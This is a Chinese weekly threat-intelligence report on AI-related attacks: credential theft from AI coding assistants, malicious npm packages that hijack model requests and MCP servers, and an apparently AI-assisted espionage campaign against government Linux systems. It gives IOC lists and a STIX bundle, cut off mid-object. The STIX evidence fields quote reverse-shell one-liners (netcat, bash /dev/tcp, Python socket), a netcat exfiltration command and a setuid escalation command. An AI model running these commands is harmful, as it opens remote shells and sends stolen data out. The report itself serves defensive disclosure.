AI安全专题周报（20261016）
报告编号：TIC-202610-AI03
报告周期：2026年10月10日—10月16日
一、报告概述
基于360威胁情报中心对本期公开网络安全素材的整理与分析，本周报告重点关注AI编程助手凭据窃取、恶意MCP与AI请求链路劫持、AI渗透工具滥用，以及LLM网关和模型服务漏洞。相关风险涉及账号与API配额滥用、开发上下文泄露、未授权入侵、文件读取及远程代码执行。
报告重点内容涵盖：
· AI开发身份与数据风险：Aoki和Warden将AI助手令牌、配置与会话数据纳入窃取范围，开发工具所关联的业务权限需要同步治理。
· AI链路与用户入口风险：Apex Accelerator利用恶意包、模型请求重定向和MCP扩展获取开发上下文；仿冒AI工具活动则借安装与登录流程投递恶意程序。
· AI辅助攻击与服务漏洞：ARTEX被用于未授权渗透，Linux间谍活动出现疑似AI参与线索；LiteLLM与Ollama漏洞分别暴露授权和服务器请求边界问题。
───────────────────────────────────
二、本周重点安全事件
（一）Aoki窃取AI编程助手凭据与会话
事件名称：Aoki：信息窃取恶意软件针对AI编码助手凭据
发布日期：2026-10-15
发布机构：Symantec Threat Hunter Team
威胁概述：
Symantec披露，Aoki窃密木马新增针对AI编程助手的收集能力，目标包括Claude、Codex、Cursor、Codeium和Gemini的凭据与会话文件。被盗API密钥和令牌可能使攻击者以开发者身份使用AI服务，并触及账号关联的代码仓库及云服务。该木马还收集浏览器、加密钱包和密码管理器数据，经C2服务器外传。
IOC指标：
· SHA256（节选）：752c8e64af60960b85cf00e4bd34eb459e24b7939464f718ec18494df43b4b69, bf037920d39b85572ec7e53b51f09c28198c2c0afbc7c7d6cf639b1f047caebf, 0adc8e83b2416c275b1283916d70568faddeb6d718eb45f9addfb0938db245b3, 6655b89b9885483d459c73f2a52e3cec121de5c5956172a8676a0f4c2de94999, 780bbdbb119befd4eb16e0c2ec0c64e7bedc1b53ce4f85804aea091a6e3af519
· Domain：dobeqnesmot.cc, hjazfioe.surf, neihite.cc
· URL：https://dobeqnesmot.cc/gate, https://hjazfioe.surf/gate, https://neihite.cc/gate
报告链接：
https://www.security.com/threat-intelligence/aoki-infostealer-ai-targeting
───────────────────────────────────
（二）Apex Accelerator利用恶意包劫持AI开发链路
事件名称：审计审计员：揭露Apex Accelerator
发布日期：2026-10-12
发布机构：Elastic Security Labs
威胁概述：
Elastic披露，攻击者假冒Web3加速器Apex Accelerator，以AI积分和安全审计服务诱导目标安装恶意npm包。其重打包的编码代理将模型请求转向攻击者控制的接口，并注册恶意MCP服务器，使提示词、对话上下文、代码片段及工具输出暴露。攻击链还包含跨平台恶意软件投递和凭据窃取。
IOC指标：
· SHA256（节选）：985829083f3937df6c82419216f7697afae0caac8efca6257a756066fe2c0abb, 5ee7145061f05779f7f6f9b72e216713d17d53e183a92f408bfbbc44f2bfb95d, 42a760b15fea7c9af718ee45386c1c3ea1bec9e30c95d16c287bcc8b2efdc72e, 127ae4cad80b6605157ca2a1feada8a235e16aacc5d2119337a98115a4e13274, 20f0a401676292d4ae34932e61f34afa97bcfc47ee517cda2afeb7222264a193
· Domain（节选）：apexaccs.org, arena.apexaccs.org, token.apexaccs.org, vrf.apexaccs.org, arena.apexfdn.xyz
· URL（节选）：https://vrf.apexaccs.org/api/v1/vrf, https://arena.apexaccs.org/api/llm/v1/chat/completions, https://arena.apexaccs.org/api/llm/v1, https://arena.apexaccs.org/api/copilot/mcp, https://arena.apexaccs.org/dashboard/pilot
报告链接：
https://www.elastic.co/security-labs/threat-command/apex-accelerator-malicious-npm-packages
───────────────────────────────────
（三）疑似AI辅助间谍活动攻击政府Linux基础设施
事件名称：AI驱动的间谍活动针对政府Linux基础设施
发布日期：2026-10-15
发布机构：Palo Alto Networks Unit 42
威胁概述：
Unit 42披露了一起针对政府及关联基础设施的Linux间谍活动。攻击者利用Web shell、SysGoRAT及反向Shell收集凭据、横向移动和窃取数据库信息。研究人员在脚本中发现对话式注释和推理痕迹，认为存在大模型生成代码或AI代理参与的迹象；这些线索不能单独证明攻击全程自主执行。
IOC指标：
· IP（节选）：45.88.188.140, 198.23.185.234, 138.68.244.146, 185.21.136.6, 72.61.89.179
· IP:Port：104.194.158.65:443
· Domain：magento.ink, solidmonpe.com, wibu-bau-bawang.online, beraskencur.site
· SHA256（节选）：2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e, 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704, d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd, 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e, c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343
· CVE：CVE-2025-55182, CVE-2021-4034
STIX详情：
{
"type": "bundle",
"id": "bundle--135b0aa2-2e02-48a2-8ee1-73a82756b76b",
"spec_version": "2.1",
"objects": [
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"name": "CL-UNK-1211",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "针对政府实体和国家附属基础设施的未明身份攻击团伙或攻击集群。",
"aliases": [
"UNK"
],
"x_evidence": "原文：Unit 42 identified a campaign targeting government entities and state-affiliated infrastructure... We track this activity as CL-UNK-1211；并称 UNK 表示尚未确定归属的集群。",
"x_confidence": 0.95
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--7403585e-c5e5-4322-938e-84cd1fa77e06",
"name": "SysGoRAT",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者开发的定制跨平台远程访问木马（RAT），使用 Go 编写。",
"aliases": [
"sys-control-client",
"pip2.7",
"ea_install",
"semanage"
],
"x_evidence": "原文：The attackers deployed a custom-developed, multi-platform remote access Trojan (RAT) written in Go... We named this malware SysGoRAT；并列出重命名 sys-control-client、pip2.7、ea_install、./semanage。",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--0ed72f37-c812-43f0-b3b3-de4cb9596741",
"name": "Global Socket",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "解决 NAT 和防火墙遍历问题的框架，被攻击者滥用。",
"aliases": [
"GSocket"
],
"x_evidence": "原文：The attackers misused Global Socket... They deployed the framework’s binary, gs-netcat.",
"x_confidence": 0.9
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--ed292df4-768d-4ad2-be5e-71428943744c",
"name": "CVE-2021-4034",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "用于本地权限提升的漏洞，PwnKit 对应 CVE-2021-4034。",
"aliases": [
"PwnKit"
],
"x_evidence": "原文：PwnKit, a self-contained exploit for CVE-2021-4034 — in an attempt to gain root privileges.",
"x_confidence": 0.95
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--ae00d943-95b5-444c-aacc-5b73c498a602",
"name": "CVE-2025-55182",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者扫描并利用的漏洞，React2Shell 对应 CVE-2025-55182。",
"aliases": [
"React2Shell"
],
"x_evidence": "原文：attackers deployed a custom vulnerability scanner written in Go that scans for servers vulnerable to CVE-2025-55182 (React2Shell).",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--df37a32c-3e63-401a-a309-b071b820e251",
"name": "LinPEAS",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "用于检查本地权限提升路径的开源工具。",
"x_evidence": "原文：They started by deploying and executing an open-source tool called LinPEAS to check for local privilege escalation paths.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--4ffa69b0-663a-4213-89c8-63f68f2bb117",
"name": "revsocks",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "开源反向 SOCKS5 隧道工具。",
"x_evidence": "原文：The attackers deployed the open-source tool revsocks, a reverse SOCKS5 tunneling tool with SSL/TLS and proxy support.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--4fbf752a-ab14-4cd0-8f13-2f8336962454",
"name": "pysoxy",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "开源 Python SOCKS 代理脚本，用于路由流量。",
"x_evidence": "原文：pysoxy, an open-source Python SOCKS proxy script used to route traffic.",
"x_confidence": 0.9
},
{
"type": "attack-pattern",
"spec_version": "2.1",
"id": "attack-pattern--a58d6334-78b1-4150-8ed9-37b5eaa5b133",
"name": "Timestomping",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "使用 touch -t 命令修改文件时间戳以逃避取证分析。",
"x_evidence": "原文：They used the command touch -t to change the access and modification time of malicious files... Timestomping.",
"x_confidence": 0.95
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--df54cbcc-7928-4d96-8ff6-c5567200fcdd",
"name": "45.88.188.140",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--76a107d8-b35a-45bc-b942-22ff130981af",
"name": "198.23.185.234",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--3ec36251-890f-49e0-8ab1-da9280d584fb",
"name": "138.68.244.146",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--f4d97c2e-dd0f-469d-a2fd-4c74db7d06e1",
"name": "185.21.136.6",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--662e5161-3644-4d2e-827a-0ad5054338c8",
"name": "72.61.89.179",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--9f57ce2b-8318-4324-b84a-0e706e7c7e17",
"name": "104.194.158.65",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "SysGoRAT 硬编码的 C2 地址。",
"x_evidence": "原文：SysGoRAT defaults to a hardcoded IP address 104.194.158[.]65:443。",
"x_confidence": 0.95
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--81a83a88-f326-4736-bfc6-74dd6ac553bb",
"name": "109.224.53.140",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--4a984bda-1ab3-4d9a-806e-77fbbbb38333",
"name": "162.243.175.162",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--925393a0-c902-46cb-991a-02ce5bc75565",
"name": "154.93.37.228",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--6919e895-af1c-4978-afbd-011ab18571a4",
"name": "141.164.58.87",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--81c09c78-04a7-4d34-b55f-b9a5dda539e2",
"name": "88.80.150.232",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--23c77e65-21d9-41b3-b9eb-068cd013523b",
"name": "88.119.167.57",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--e907f995-7a0c-4b41-bf68-7717e88b9d19",
"name": "173.212.247.23",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--83416f2d-b847-4950-a113-b8db84d860d3",
"name": "104.248.131.53",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--6689a0b3-7a17-4441-b0c7-ea5ee4ef96b2",
"name": "147.182.224.216",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--c999530f-a765-4f83-9cb9-c1dc857d08ba",
"name": "93.93.112.57",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--81ad7d80-54c4-4c56-971f-91e07b1fa7fc",
"name": "192.210.183.17",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意IP，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该 IP 为恶意 C2；攻击链描述将其列为 C2 IP。",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--e318724b-8fe1-4fb5-ae9b-b3cf13e3bea7",
"name": "magento.ink",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意域名，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--6a6c85f3-6817-4731-bd35-6d96fcabbe26",
"name": "solidmonpe.com",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意域名，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--84aeed15-032d-4ac9-96b1-c38b297660fb",
"name": "wibu-bau-bawang.online",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意域名，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--15971d87-f8e1-441a-9d75-5e1565d9313b",
"name": "beraskencur.site",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "报告IOC列表披露的恶意域名，作为C2基础设施。",
"x_evidence": "原文 IOC 列表披露该域名；攻击链描述将其列为恶意域名。",
"x_confidence": 0.9
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"first_observed": "2026-10-16T04:46:22Z",
"last_observed": "2026-10-16T04:46:22Z",
"number_observed": 1,
"objects": {
"0": {
"type": "file",
"name": "plesk_sys_driver.php",
"description": "伪装成合法 Plesk 文件的恶意 PHP Web shell，路径为 /usr/lib/php/plesk_sys_driver.php。",
"aliases": [],
"evidence": "原文：attackers deployed a malicious PHP web shell as a file named /usr/lib/php/plesk_sys_driver.php to appear legitimate.",
"confidence": 0.93
},
"1": {
"type": "file",
"name": ".bashrc",
"description": "被攻击者替换以执行窃取密码命令的文件。",
"aliases": [],
"evidence": "原文：The attackers replaced the .bashrc file with a copy containing a malicious command that steals victims’ passwords.",
"confidence": 0.93
},
"2": {
"type": "file",
"name": "Solarwinds.StatusLog.txt",
"description": "攻击者用来保存窃取密码的日志文件，伪装成合法日志。",
"aliases": [],
"evidence": "原文：The attackers named the log file Solarwinds.StatusLog.txt, to mimic legitimate SolarWinds activity.",
"confidence": 0.9
},
"3": {
"type": "file",
"name": "search_social.php",
"description": "用于在邮件头中搜索社交媒体相关关键词的 PHP 脚本。",
"aliases": [],
"evidence": "原文：They deployed a PHP script, named search_social.php, that searched for specific keywords in email headers.",
"confidence": 0.9
},
"4": {
"type": "file",
"name": "zip_mails.sh",
"description": "企图用于压缩和窃取受害者邮箱内容的 bash 脚本。",
"aliases": [],
"evidence": "原文：attempted to generate a bash script named zip_mails.sh that would iterate through users’ directories and compress their emails into ZIP archives.",
"confidence": 0.9
},
"5": {
"type": "file",
"name": ".libpython-helper",
"description": "重命名的合法 Python3 解释器，用于执行高权限 shell 命令。",
"aliases": [],
"evidence": "原文：The attackers used the Python 3 interpreter and renamed it to .libpython-helper to execute shell commands with high privileges.",
"confidence": 0.9
},
"6": {
"type": "file",
"name": ".libsystemd-helper",
"description": "自定义的 SUID root shell 后门。",
"aliases": [],
"evidence": "原文：Custom SUID root shell: This backdoor is dropped with the name .libsystemd-helper, and elevates itself to root privileges.",
"confidence": 0.9
},
"7": {
"type": "file",
"name": ".tourch",
"description": "重命名的 /bin/bash，被赋予 SUID 权限作为后门。",
"aliases": [],
"evidence": "原文：A renamed legitimate /bin/bash binary: The attackers wrote to disk a file named .tourch... chmod u+s.",
"confidence": 0.9
},
"8": {
"type": "file",
"name": "dump.sqlite",
"description": "攻击者用于临时存储数据库转储结果的 SQLite 文件。",
"aliases": [],
"evidence": "原文：writing four tables, each capped at 100 rows, to a local SQLite database named dump.sqlite.",
"confidence": 0.9
},
"9": {
"type": "process",
"name": "Netcat named pipe reverse shell",
"description": "使用命名管道和 Netcat 建立的内存中反向 shell。",
"aliases": [],
"evidence": "原文：Named pipe via Netcat: ... rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <C2> <port> >/tmp/f.",
"confidence": 0.9
},
"10": {
"type": "process",
"name": "Bash TCP reverse shell",
"description": "将 bash 命令输出重定向到攻击者 IP 的 TCP 反向 shell。",
"aliases": [],
"evidence": "原文：Bash TCP redirects: ... bash -i >& /dev/tcp/[IP]/[PORT] 0>&1.",
"confidence": 0.9
},
"11": {
"type": "process",
"name": "Python socket reverse shell",
"description": "使用 Python 子进程生成远程交互式 shell。",
"aliases": [],
"evidence": "原文：Python subprocesses: ... python3 -c \"import socket,subprocess,os; s=socket.socket(...); s.connect(('[IP]',[PORT])); os.dup2(...); subprocess.call(['/bin/bash','-i'])\".",
"confidence": 0.9
},
"12": {
"type": "process",
"name": ".libpython-helper privilege escalation command",
"description": "利用重命名的 Python 解释器执行 root 权限命令。",
"aliases": [],
"evidence": "原文：Following is an example of a command used: /usr/lib/x86_64-linux-gnu/.libpython-helper -c import os;os.setuid(0);os.setgid(0);os.system(\"<command>\").",
"confidence": 0.9
},
"13": {
"type": "process",
"name": "MSSQL xp_cmdshell double-hop execution",
"description": "通过 MSSQL 服务器进行双跳执行以到达另一个网段的命令。",
"aliases": [],
"evidence": "原文：EXEC xp_cmdshell 'sqlcmd -S [SERVER_IP]... -Q \"EXEC xp_cmdshell ''whoami''\"...'；形成 double-hop execution chain。",
"confidence": 0.9
},
"14": {
"type": "process",
"name": "sshpass SSH lateral movement",
"description": "使用 sshpass 进行内网横向移动的命令。",
"aliases": [],
"evidence": "原文：The attackers also used the sshpass command with hard-coded administrative credentials to enable lateral movement.",
"confidence": 0.9
},
"15": {
"type": "process",
"name": "tar and netcat database exfiltration",
"description": "压缩数据库转储并利用 netcat 外发。",
"aliases": [],
"evidence": "原文：Following that, the attackers compressed the dumps and attempted to exfiltrate them to a C2 server using the netcat command: tar -czf ... nc [IP] [PORT] < /tmp/[DB_NAME]_dump.tar.gz.",
"confidence": 0.9
}
}
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9fe91e81-4458-4c8d-b2a1-681781fbf2fb",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "malware--7403585e-c5e5-4322-938e-84cd1fa77e06",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "CL-UNK-1211 使用 SysGoRAT 实施攻击。",
"x_evidence": "原文：The attackers deployed a custom-developed, multi-platform remote access Trojan (RAT) written in Go... We named this malware SysGoRAT。",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9bb400ef-173a-44c2-9665-b1842b1bf050",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "tool--0ed72f37-c812-43f0-b3b3-de4cb9596741",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者滥用 Global Socket 框架绕过防火墙/NAT。",
"x_evidence": "原文：The attackers misused Global Socket... They deployed the framework’s binary, gs-netcat.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--75295a7f-ca2c-4196-a95d-adcb747d6a33",
"relationship_type": "exploits",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "vulnerability--ed292df4-768d-4ad2-be5e-71428943744c",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者利用 CVE-2021-4034（PwnKit）尝试本地提权。",
"x_evidence": "原文：used another open-source tool — PwnKit, a self-contained exploit for CVE-2021-4034 — in an attempt to gain root privileges.",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2eeba47c-992e-458d-a5e7-7020043e55df",
"relationship_type": "exploits",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "vulnerability--ae00d943-95b5-444c-aacc-5b73c498a602",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者扫描并利用 CVE-2025-55182（React2Shell）漏洞。",
"x_evidence": "原文：attackers deployed a custom vulnerability scanner written in Go that scans for servers vulnerable to CVE-2025-55182 (React2Shell).",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--afcc5209-c39a-4542-b0f7-343e026dd474",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "tool--df37a32c-3e63-401a-a309-b071b820e251",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 LinPEAS 检查本地提权路径。",
"x_evidence": "原文：They started by deploying and executing an open-source tool called LinPEAS to check for local privilege escalation paths.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--721a576f-4ad0-4ff1-8f9d-3f210702f5e9",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "tool--4ffa69b0-663a-4213-89c8-63f68f2bb117",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 revsocks 作为反向 SOCKS5 隧道工具。",
"x_evidence": "原文：The attackers deployed the open-source tool revsocks, a reverse SOCKS5 tunneling tool with SSL/TLS and proxy support.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fa24fc01-438e-4bb7-bfd3-ca619f38025d",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "tool--4fbf752a-ab14-4cd0-8f13-2f8336962454",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 pysoxy 作为 Python SOCKS 代理脚本。",
"x_evidence": "原文：pysoxy, an open-source Python SOCKS proxy script used to route traffic.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--050eaa49-2245-4167-9640-f1fd5d989112",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者部署恶意 PHP Web shell。",
"x_evidence": "原文：attackers deployed a malicious PHP web shell as a file named /usr/lib/php/plesk_sys_driver.php to appear legitimate.",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d51d5761-962b-43b6-8d9c-d7d48ac030c2",
"relationship_type": "uses",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者替换 .bashrc 文件以窃取密码。",
"x_evidence": "原文：The attackers replaced the .bashrc file with a copy containing a malicious command that steals victims’ passwords.",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--e83283f2-1e61-48dd-8a7e-377be2822471",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者使用 Solarwinds.StatusLog.txt 保存窃取密码。",
"x_evidence": "原文：The harvested password is then passed to... The attackers named the log file Solarwinds.StatusLog.txt.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f378c664-3070-4b2b-a04c-e3c652caf69f",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者部署 search_social.php 脚本搜索社交媒体关键词。",
"x_evidence": "原文：They deployed a PHP script, named search_social.php, that searched for specific keywords in email headers.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b0c3b363-bd8a-44c7-960a-73814e447280",
"relationship_type": "drops",
"source_ref": "intrusion-set--c9b98851-01c9-4e64-9031-a8162e5e963b",
"target_ref": "observed-data--bd2bae01-2a6b-4cd2-a629-57de77b42f71",
"created": "2026-10-16T04:46:22Z",
"modified": "2026-10-16T04:46:22Z",
"description": "攻击者企图使用 zip_mails.sh 脚本压缩和窃取邮箱内容。",
"x_evidence": "原文：attempted to generate a bash script named zip_mails.sh... intended to exfiltrate an entire mailbox.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d6711266-2891-4f55-b345-a2c726e31638",
